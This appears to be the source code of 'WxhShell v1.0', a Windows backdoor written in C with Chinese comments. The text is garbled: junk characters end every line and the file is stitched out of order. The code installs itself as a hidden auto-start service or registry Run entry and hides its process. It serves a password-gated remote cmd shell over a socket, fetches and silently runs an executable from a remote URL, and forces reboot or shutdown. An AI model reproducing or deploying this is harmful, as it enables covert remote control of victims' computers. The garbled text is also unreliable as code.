    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +84 p/ B#  
    else { } 7:T? `V:  
    closesocket(wsh); j[mII5e7g  
    ExitThread(0); |c2sJyj*  
    } l1`r%9gr  
    break; @(*A<2;N  
    } =_ j<x$,b-  
  // 获取shell Tb;,t=;u  
  case 's': { 1M_Vhs^  
    CmdShell(wsh); liy/uZ  
    closesocket(wsh); .v}|Tp&k  
    ExitThread(0); {jwLVKT$  
    break; Zv@ Fr9m  
  } N5`z S79W  
  // 退出 ? F!c"+C  
  case 'x': { &w`DF,k|  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Q {~$7J  
    CloseIt(wsh); ZNDi;6e  
    break; m]}U!XT  
    } }kItVx  
  // 离开 n'q:L(`M  
  case 'q': { 79}jK"Gc  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); MwQ4&z#wh  
    closesocket(wsh); O^6anUV0  
    WSACleanup(); D@.qdRc3  
    exit(1); @^ti*`  
    break; f52P1V]  
        } f9},d1k  
  } ux!YVvTPd  
  } |& jrU-(  
<I2ENo5?  
  // 提示信息 &%@O V:C  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); G3]#Du  
} Nmt~1.J  
  } Z1v~tqx  
b$Dh|-8  
  return; W#^.)V  
} KZcmNli&A  
r_,;[+!  
// shell模块句柄 `jr?I {m;  
int CmdShell(SOCKET sock) Ya!%o> J%t  
{ D*PEIsV  
STARTUPINFO si; m__pQu:  
ZeroMemory(&si,sizeof(si)); l1O"hd'~s  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; uM,Ps}  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; E,K>V:P*  
PROCESS_INFORMATION ProcessInfo; eV(9I v[  
char cmdline[]="cmd"; 0b n%L~KU  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); xYW &Mfka  
  return 0; (dQ=i  
} ,d*hhe  
1iLU{m9  
// 自身启动模式 L1DH9wiQi  
int StartFromService(void) vp*+C kd  
{ q3h& V  
typedef struct dT?3Q;>B?  
{ z5~W >r  
  DWORD ExitStatus; f.66N9BHL,  
  DWORD PebBaseAddress; :-Py0{s  
  DWORD AffinityMask; dVHbIx  
  DWORD BasePriority; R1w5,Zt  
  ULONG UniqueProcessId; :{lP9%J-  
  ULONG InheritedFromUniqueProcessId; +w?R4Sxjn  
}   PROCESS_BASIC_INFORMATION; `=,emP&(H&  
wD{c$TJ?{F  
PROCNTQSIP NtQueryInformationProcess; pz)>y&_o  
G-RDQ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; :lvBcFw  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; idX''%"  
GPL%8 YY  
  HANDLE             hProcess; RB %y($  
  PROCESS_BASIC_INFORMATION pbi; LGZa l&9AY  
NV9JMB{q  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 6'@{ * u  
  if(NULL == hInst ) return 0; x{<l8vL=-c  
E!mv}  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 'x"(OdM:[  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); a@q c?  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); >{:hadUH  
dY~z6bT  
  if (!NtQueryInformationProcess) return 0; p)?6#~9$  
EEL3~H{(  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); S7PWP< 9  
  if(!hProcess) return 0; hKWWN`;b !  
=EA:fq  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; oo7}Hg>  
xY!ud)  
  CloseHandle(hProcess); Nf3UVK8LtS  
4sn\UuKyL  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ?7LvJ8  
if(hProcess==NULL) return 0; 6X m'^T  
T :m" eD;  
HMODULE hMod; CPRVSN0b{4  
char procName[255]; { $yju_[  
unsigned long cbNeeded; /"j 3B\`?  
;`:YZ+2 Z  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 1,bE[_  
N8#j|yf  
  CloseHandle(hProcess); 51#OlvD  
pb)8?1O|s  
if(strstr(procName,"services")) return 1; // 以服务启动 (?JdiY/  
bDtb6hL  
  return 0; // 注册表启动 fC*cqc~{@  
} -,p=;t#(  
ZcyGLg0I  
// 主模块 7>F{.\Z  
int StartWxhshell(LPSTR lpCmdLine) +>vKI8g*RH  
{ [x>Ju&))$  
  SOCKET wsl; 9CeR^/i  
BOOL val=TRUE; 6:Z8d%Z  
  int port=0; tLfhW1"  
  struct sockaddr_in door; 3Ioe#*5\  
=uAy/S  
  if(wscfg.ws_autoins) Install(); wT::b V{  
GjHR.p?-  
port=atoi(lpCmdLine); q=BljSX  
\P?X`]NwnO  
if(port<=0) port=wscfg.ws_port; T+$H[ &j  
}F_c0zM  
  WSADATA data; KbvMp1'9P  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; zN|k*}j1J  
SFDTHvXu#_  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Q zaD\^OF  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); z"UC$  
  door.sin_family = AF_INET; }P fAf  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); A&~fw^HM  
  door.sin_port = htons(port); Op ?"G  
^sLx3a  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { "W(Ae="60  
closesocket(wsl); +W*~=*h|  
return 1; y@!o&,,mq  
} lYQ|NL():  
qclc--fsE  
  if(listen(wsl,2) == INVALID_SOCKET) { }>0>OqvF  
closesocket(wsl); yivu|q  
return 1; X(nyTR8  
} PKSfu++Z  
  Wxhshell(wsl); "yaxHd  
  WSACleanup(); SXOAa<u5  
PLc5m5  
return 0; D @*<O=_D(  
f;zNNx< ;  
} m3lz#Pm'0  
.=#j dc/  
// 以NT服务方式启动 @>(KEjQTz  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &9#m] Mz  
{ 6- i.*!I 8  
DWORD   status = 0; _f^KP@^j  
  DWORD   specificError = 0xfffffff; +)jll#}?  
_q27 3QG/"  
  serviceStatus.dwServiceType     = SERVICE_WIN32; !EB<N<P"t  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; qM(}|fMbN  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; !`Rh2g*o9  
  serviceStatus.dwWin32ExitCode     = 0; /;Tc]  
  serviceStatus.dwServiceSpecificExitCode = 0; ([u|j  
  serviceStatus.dwCheckPoint       = 0;  XTJD>  
  serviceStatus.dwWaitHint       = 0; |0y#} |/  
U@mznf* J  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); xZ9:9/Vg  
  if (hServiceStatusHandle==0) return; n_e'n|T  
?W'p&(;  
status = GetLastError(); \%=\4%:  
  if (status!=NO_ERROR) kk3^m1  
{ <'I["Um  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; :;7I_tb  
    serviceStatus.dwCheckPoint       = 0; .Q*X5Fc  
    serviceStatus.dwWaitHint       = 0; [s {!  
    serviceStatus.dwWin32ExitCode     = status; St-uE |8  
    serviceStatus.dwServiceSpecificExitCode = specificError; y!77gx?-  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); A]/o-S_  
    return; { :tO RF  
  } @dDeOnF  
pFd8p@m_2  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; "n!yK  
  serviceStatus.dwCheckPoint       = 0; ;"wCBuXcu  
  serviceStatus.dwWaitHint       = 0; tF0jH+7J-  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); B;1qy[  
} ~.m<`~u  
F3qK6Ah.  
// 处理NT服务事件,比如:启动、停止 /9w>:i81  
VOID WINAPI NTServiceHandler(DWORD fdwControl) H,!xTy"Wh  
{ )#}>,,S  
switch(fdwControl) RwWg:4   
{ "#j}F u_!  
case SERVICE_CONTROL_STOP: _95296  
  serviceStatus.dwWin32ExitCode = 0; DYD<?._I  
  serviceStatus.dwCurrentState = SERVICE_STOPPED;  .w9LJ  
  serviceStatus.dwCheckPoint   = 0; BPba3G9H  
  serviceStatus.dwWaitHint     = 0; &N|$G8\CY  
  { Iry$z^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9B: 3Ha=  
  } DZ8|20b  
  return; i<m(neX[H  
case SERVICE_CONTROL_PAUSE: Pd*[i7zhC  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; I0)`tQ +  
  break; w )R5P[b  
case SERVICE_CONTROL_CONTINUE: JbMTULA  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; _/s"VYFZ  
  break; i6`"e[aT[o  
case SERVICE_CONTROL_INTERROGATE: @p+;iS1}  
  break; %iN>4;T8  
}; Z4j6z>qE  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); V8?}I)#(7  
} K9lgDk"i  
'YNaLZ20  
// 标准应用程序主函数 I &t~o  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) WlMcEje  
{ cj/`m$  
I{`70  
// 获取操作系统版本 wHc my  
OsIsNt=GetOsVer(); }{o !  
GetModuleFileName(NULL,ExeFile,MAX_PATH); gb ga"WO  
200yN+ec  
  // 从命令行安装 ~U9K<_U  
  if(strpbrk(lpCmdLine,"iI")) Install(); 'ZfgCu)St  
qLN^9PdEE  
  // 下载执行文件 2@&r!Q|1vR  
if(wscfg.ws_downexe) { |\5^ub,m  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) g`7XE  
  WinExec(wscfg.ws_filenam,SW_HIDE); "F<CGSo  
} BX,)G HE  
Aw o)a8e  
if(!OsIsNt) { (yOkf-e2y  
// 如果时win9x,隐藏进程并且设置为注册表启动 +K57. n{  
HideProc(); 0B NLTRv  
StartWxhshell(lpCmdLine); Ccf/hA#mb  
} [VCC+_  
else *z=_sD?1  
  if(StartFromService()) l]nt@0+  
  // 以服务方式启动 |?`5~f  
  StartServiceCtrlDispatcher(DispatchTable); N%y i4  
else g,Z A\R~  
  // 普通方式启动 ?9b9{c'an  
  StartWxhshell(lpCmdLine); ^URCnJ67Se  
4`IM[DIG~  
return 0; _]Hna<Ly  
} uy'ghF  
7io["zW  
Ac7^JXh%  
gg;r;3u  
=========================================== S2~cAhR|M  
CT|+?  
h6 \P&Z  
 R$a<=  
W L$^B@gXQ  
|D3u"Y!:^  
" LSo!_tY  
X'9.fKp  
#include <stdio.h> E_HB[ 9  
#include <string.h> KaGUpHw  
#include <windows.h> 7p&jSOY  
#include <winsock2.h> ]|;+2@kDR  
#include <winsvc.h> }kbSbRH43  
#include <urlmon.h> 'm%{Rz>j  
_B4&Fb.  
#pragma comment (lib, "Ws2_32.lib") &v\F ah U  
#pragma comment (lib, "urlmon.lib") cpY {o^  
Hh<H~s [  
#define MAX_USER   100 // 最大客户端连接数 ~,'{\jDrS  
#define BUF_SOCK   200 // sock buffer SGd]o"VF  
#define KEY_BUFF   255 // 输入 buffer <t%gl5}|  
wN 2+3LY{  
#define REBOOT     0   // 重启 (z?HyxRT  
#define SHUTDOWN   1   // 关机 ]' mbHkn68  
\ /-c)  
#define DEF_PORT   5000 // 监听端口 .J#'k+>  
aD/Rr3v>  
#define REG_LEN     16   // 注册表键长度 E$d3+``  
#define SVC_LEN     80   // NT服务名长度 FoefBo?g65  
OfsP5*d  
// 从dll定义API 3JoY-  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); z(PUoV:?  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); l/$GF|`U  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); _Fb}zPU!  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); JFq wC=-  
sE9FT#iE  
// wxhshell配置信息 8 WP>u8&  
struct WSCFG { $o6/dEKQ  
  int ws_port;         // 监听端口 Urj*V0^  
  char ws_passstr[REG_LEN]; // 口令 C3AWXO ^  
  int ws_autoins;       // 安装标记, 1=yes 0=no > =>/~dIb  
  char ws_regname[REG_LEN]; // 注册表键名 ,m=F H?5  
  char ws_svcname[REG_LEN]; // 服务名 [+#m THX  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 e4X df>B  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 N&8TG  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 HN47/]"*  
int ws_downexe;       // 下载执行标记, 1=yes 0=no WxdQ^#AE  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" )cf i@-J+#  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 g14*6O:  
#kg`rrF r  
}; _iwG'a[`  
4" @<bKx  
// default Wxhshell configuration [^>XR BSm  
struct WSCFG wscfg={DEF_PORT, a"~o'W7  
    "xuhuanlingzhe", _8K+iqMZG  
    1, T&U}}iWN  
    "Wxhshell", c? ::l+  
    "Wxhshell", 77e*9/6@  
            "WxhShell Service", U~ {k_'-i  
    "Wrsky Windows CmdShell Service", +^I0> \  
    "Please Input Your Password: ", sW^M  ]  
  1, &K[*vyD  
  "http://www.wrsky.com/wxhshell.exe", 5 s7BUT  
  "Wxhshell.exe"  CB7dr&>  
    }; =j]y?;7q  
w+o5iPLX  
// 消息定义模块 ];r! M0  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |5@Ra@0  
char *msg_ws_prompt="\n\r? for help\n\r#>"; lED!}h'4  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ,|%KlHo^  
char *msg_ws_ext="\n\rExit."; 3CUQQ_  
char *msg_ws_end="\n\rQuit."; I-v} DuM  
char *msg_ws_boot="\n\rReboot..."; 3F9V,zWtTi  
char *msg_ws_poff="\n\rShutdown..."; 6)HmE[[F  
char *msg_ws_down="\n\rSave to "; P \7DA4]  
5f0M{J,KC  
char *msg_ws_err="\n\rErr!"; ~z[`G#dU  
char *msg_ws_ok="\n\rOK!"; /i+z#q5'  
o7y<Zd`Bj  
char ExeFile[MAX_PATH]; J?4{#p  
int nUser = 0; H7O~So*N5  
HANDLE handles[MAX_USER]; =4y gbk  
int OsIsNt; *MJm:  
v|?@k^Ms  
SERVICE_STATUS       serviceStatus; j:9M${~  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; HKN|pO3v  
%V_ XY+o  
// 函数声明 dQX-s=XJ  
int Install(void); D{9a'0J  
int Uninstall(void); _h%Jf{nu  
int DownloadFile(char *sURL, SOCKET wsh); gqaM<!]  
int Boot(int flag); u#05`i:Z  
void HideProc(void); !_glZ*tL  
int GetOsVer(void); .j6udiv5  
int Wxhshell(SOCKET wsl); 2j\_svw'  
void TalkWithClient(void *cs); [V}vd@*k  
int CmdShell(SOCKET sock); +)jUA]hJ/  
int StartFromService(void); F)P:lvp<r  
int StartWxhshell(LPSTR lpCmdLine); QE]@xLz   
l;F"m+B!$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); b3N IFKw  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); x/QqG1q  
s|YH_1r  
// 数据结构和表定义 $KcAB0 B8  
SERVICE_TABLE_ENTRY DispatchTable[] = +]l?JKV  
{ uJ`N'`Z  
{wscfg.ws_svcname, NTServiceMain}, M-WSdG[AJ  
{NULL, NULL} ulR yt^bx|  
}; SH*'<  
^Z (cV g  
// 自我安装 /E>;O47a  
int Install(void) HOW<IZ^  
{ BD6!,  
  char svExeFile[MAX_PATH]; H`[FC|RYyE  
  HKEY key; goM;Pf "<  
  strcpy(svExeFile,ExeFile); h'ik3mLH  
=D zrM%  
// 如果是win9x系统,修改注册表设为自启动 WC_.j^sW  
if(!OsIsNt) { G/ x6zdk  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2"0VXtv6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /Qgb t  
  RegCloseKey(key); Z;+,hR((  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { tpI/I bq  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); hvt]VC]]  
  RegCloseKey(key); \e a*  
  return 0; deVd87;@7[  
    } }OkzP)(  
  } .0Ud?v>=  
} 6:_~-xG  
else { 3mgvWR  
%p7 ?\>  
// 如果是NT以上系统,安装为系统服务 +V=<vT  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); d`\SX(C  
if (schSCManager!=0) U$:^^Zt`B  
{ [*%lm9 x  
  SC_HANDLE schService = CreateService >N3X/8KL%  
  ( EeaJUK]z9  
  schSCManager, ,\`ruWWLb=  
  wscfg.ws_svcname, )Rr6@o  
  wscfg.ws_svcdisp, ,Csdon  
  SERVICE_ALL_ACCESS, "jZZ>\  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , kV-<[5AWW  
  SERVICE_AUTO_START, Z<U,]iZB  
  SERVICE_ERROR_NORMAL, QW..=}pL  
  svExeFile, ,7nu;fOT[  
  NULL, (nqhX<T>  
  NULL, jMT[+f  
  NULL,  ff9m_P  
  NULL, %6ckau1_;  
  NULL }3 /io0"D  
  ); 'O%*:'5k  
  if (schService!=0) HoBx0N9\2  
  { rpk8  
  CloseServiceHandle(schService); St;9&A  
  CloseServiceHandle(schSCManager); M]8>5Zx.  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); AB=%yM7V*  
  strcat(svExeFile,wscfg.ws_svcname); `n+uA ~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { !&%KJS6p4  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); pI@71~|R  
  RegCloseKey(key); l6zAMyau5  
  return 0; EXdX%T\  
    } l4gH]!/@  
  } q\tr&@4iC  
  CloseServiceHandle(schSCManager); /OKp(u;)z  
} +kI}O*s  
} 6>?qBWW  
qMaO1cE\  
return 1; hC-uz _/3  
} P, x" ![6  
|E13W  
// 自我卸载 k(f),_  
int Uninstall(void) +5fB?0D;  
{ F%L"Q>aHW  
  HKEY key; Eu |/pH=:  
fMwF|;  
if(!OsIsNt) { lB}?ey   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { s.(.OXD&  
  RegDeleteValue(key,wscfg.ws_regname); y9}qB:[bR  
  RegCloseKey(key); f y|JE9Io_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { hn.(pI1  
  RegDeleteValue(key,wscfg.ws_regname); *gmc6xY  
  RegCloseKey(key); y^r'4zN'  
  return 0; X&Oo[Z  
  } u`EK^\R  
} azZ|T{S  
} .p{lzI9  
else { eg~ Dm>Es  
y0O(n/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); UAjN  
if (schSCManager!=0) dC<%D'L*  
{ h5{//0 y  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); s?<FS@k  
  if (schService!=0) 58?WO}  
  { 28JVW3&)  
  if(DeleteService(schService)!=0) { *b;)7lj0h  
  CloseServiceHandle(schService); 2?(/$F9X,  
  CloseServiceHandle(schSCManager); $d1ow#ROgy  
  return 0; xpZ@DK;  
  } l>jrY1u  
  CloseServiceHandle(schService); UXZ3~/L5 O  
  } )g=mv*9>  
  CloseServiceHandle(schSCManager); Qfeu3AT  
} [,&g46x22  
} t:dvgRJt*  
QAI=nrlp  
return 1; ,T;sWl  
} S|d /?}C|e  
d% @0xsU1  
// 从指定url下载文件 VK4UhN2  
int DownloadFile(char *sURL, SOCKET wsh) l=" (Hp%b  
{ "P.sK huo  
  HRESULT hr;  [6@bsXiw  
char seps[]= "/"; Sw$&E  
char *token; [1~3\-Y  
char *file; tL&_@PD)3  
char myURL[MAX_PATH]; .KYs5Qu  
char myFILE[MAX_PATH]; +%CXc%  
*3^7'^j<  
strcpy(myURL,sURL); H94_ae  
  token=strtok(myURL,seps); OL=X&Vaf<  
  while(token!=NULL) j %MY6"  
  { DN8I[5O  
    file=token; 4Zjd g`  
  token=strtok(NULL,seps); {\?f|mm q  
  } ?:q"qwt$F  
0r@L A|P  
GetCurrentDirectory(MAX_PATH,myFILE); 3{H!B&sb  
strcat(myFILE, "\\"); 5i$P$ R  
strcat(myFILE, file); x8z6 <  
  send(wsh,myFILE,strlen(myFILE),0); JAW7Y:XB  
send(wsh,"...",3,0); Z$0mKw   
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); HH*,Oe   
  if(hr==S_OK) 'Q'-7z-6  
return 0; yR F+  
else `zs@W  
return 1; =PU@'OG  
6o#J  
} ;8F6a:\v  
<)cmI .J3  
// 系统电源模块 ,:.8s>+i  
int Boot(int flag) <-d-. 8  
{ c5CxR#O  
  HANDLE hToken; 7F~Jz*,B*W  
  TOKEN_PRIVILEGES tkp; vr>J$(F  
W OYZ  
  if(OsIsNt) { i(u zb<  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); a"+/fC`  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); CE183l\  
    tkp.PrivilegeCount = 1; yl<=_Q  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 9<Zm}PE32  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); VQ~eg wJL  
if(flag==REBOOT) { 84(jg P  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 1_~'?'&^  
  return 0; 7Aw <:  
} J_ h\tM  
else { PHsM)V+  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) NFU=PS$  
  return 0; G4F~V't  
} #.j:P#  
  }  z_C7=ga<  
  else { d76C ]R5L  
if(flag==REBOOT) { */]1?M@P)  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) =0@o(#gM  
  return 0; Mi!ak  
} OOsd*nX/  
else { 3e[k9`  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) [xs`Pi  
  return 0; jaTCRn3|<  
} ZDr TPnA[  
} *!EHs04  
H]lD*3b  
return 1; a 8jG')zg  
} 7 dG_E]&  
F, 5}3$  
// win9x进程隐藏模块 yErvgf  
void HideProc(void) _i"[m(ABj1  
{ KbRKPA`  
v^IMN3^W  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Yh%  
  if ( hKernel != NULL ) @iz6)2z  
  { Io;26F""  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 9/\=6v C|  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); iL IKrU+`  
    FreeLibrary(hKernel); X<"#=u(  
  } qmpU{f s  
:;x#qtv~Iz  
return; 9e 1KH'  
} K)oN^  
A`1/g{Ha  
// 获取操作系统版本 \?\q0o<V$  
int GetOsVer(void) 6? (8KsaN  
{ dZbG#4oO  
  OSVERSIONINFO winfo; )ULxB'Dm  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); %hzNkyD)Y  
  GetVersionEx(&winfo); ?@_,_gTQ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) s&OwVQ<M  
  return 1; rNHV  
  else |z%*}DPrpa  
  return 0; w<4){ .dA  
} qoD M!~  
j[1^#kE  
// 客户端句柄模块 u`X}AKC  
int Wxhshell(SOCKET wsl) U#_rcu  
{ -Kf'02  
  SOCKET wsh; +%RXV ~  
  struct sockaddr_in client; `!T6#6h  
  DWORD myID; |c>A3 P$=B  
)6zwprH!  
  while(nUser<MAX_USER) HaamLu  
{ d3C*]|gQ  
  int nSize=sizeof(client); QO~ TuC  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); z//6yr  
  if(wsh==INVALID_SOCKET) return 1; P(r}<SM  
80M4~'3  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); `S7${0e  
if(handles[nUser]==0) ?+#E&F  
  closesocket(wsh); ?3i-wpzMp  
else QPa&kl  
  nUser++; {GH 0 J"  
  } pKSVT  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Ec]cCLB  
<tTn$<b  
  return 0; g'b)]Q  
} eVWnD,'  
j&?NE1D>I  
// 关闭 socket L``K. DF  
void CloseIt(SOCKET wsh) iyhB;s5Rgw  
{ ffyKAZ{]po  
closesocket(wsh); "|"bo5M:   
nUser--; Z-j%``I?h  
ExitThread(0); pr-!otz  
} |5,q54d(K  
\*w*Q(&3  
// 客户端请求句柄 CLD*\)QD\  
void TalkWithClient(void *cs) HgX4RSU  
{ yHoj:f$$x  
Hw/1~O$T  
  SOCKET wsh=(SOCKET)cs; oZ~M`yOz.  
  char pwd[SVC_LEN]; ^\\cGJ&8c  
  char cmd[KEY_BUFF]; T3{qn$t8  
char chr[1]; [XQoag;!  
int i,j; #PmF@ CHR  
2{h9a0b  
  while (nUser < MAX_USER) { z|yC[ Ota  
AuU:613]W8  
if(wscfg.ws_passstr) { Tr}c]IP*  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); an<tupi[E  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;comL29l2`  
  //ZeroMemory(pwd,KEY_BUFF); W~QZ(:IK  
      i=0; Da8qR+*x  
  while(i<SVC_LEN) { R16" lG  
e:.Xs  
  // 设置超时 I#f<YbzD  
  fd_set FdRead; \Jv6Igu  
  struct timeval TimeOut; 4//Ww6W:  
  FD_ZERO(&FdRead); _Oq (&I  
  FD_SET(wsh,&FdRead); g!%csf  
  TimeOut.tv_sec=8; c66Iy"  
  TimeOut.tv_usec=0; :/Nz' n  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ou-5iH?  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); GYv2 ^IB:  
!=0N38wA  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x<=+RYz#^:  
  pwd=chr[0]; Xf9VW}`*8  
  if(chr[0]==0xd || chr[0]==0xa) { <  v_?}  
  pwd=0; 3!CI=(^IY  
  break; GI7CZ  
  } A HKS [ N  
  i++; M>_S%V4a  
    } t/S~CIA  
$- #M~eZv  
  // 如果是非法用户,关闭 socket "$:nz}  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ^ tm,gh  
} e v?Hz8Q;(  
( {zp$P}  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);  ;nv4lxm  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); : ZU  
JCaT^KLz  
while(1) { bU:"dqRm<  
^#%$?w>wI  
  ZeroMemory(cmd,KEY_BUFF); +V7*vlx-  
5'>(|7~%\  
      // 自动支持客户端 telnet标准   f+$/gz  
  j=0; M6|Q~8$  
  while(j<KEY_BUFF) { c6dL S  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9}2I'7]  
  cmd[j]=chr[0]; .6OE8w 1  
  if(chr[0]==0xa || chr[0]==0xd) { o~^hsm[44J  
  cmd[j]=0; D@4hQC\  
  break; A"z')   
  } T?7 ZF+yo6  
  j++; OjeM#s#N!  
    } JYKA@sZHe  
[>?B`1;@  
  // 下载文件 |TEf? <"c  
  if(strstr(cmd,"http://")) { I%*o7"  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); +5);"71  
  if(DownloadFile(cmd,wsh)) ;Cyt2]F  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); w>VM--  
  else -oe&1RrdVg  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }N4=~'R  
  } =`vUWONn  
  else { I#S6k%-'  
0Km{fZYq7;  
    switch(cmd[0]) { {?BxVDD07  
  |'=R`@w~0  
  // 帮助 2lHJ&fck<  
  case '?': { ='OPU5(;O  
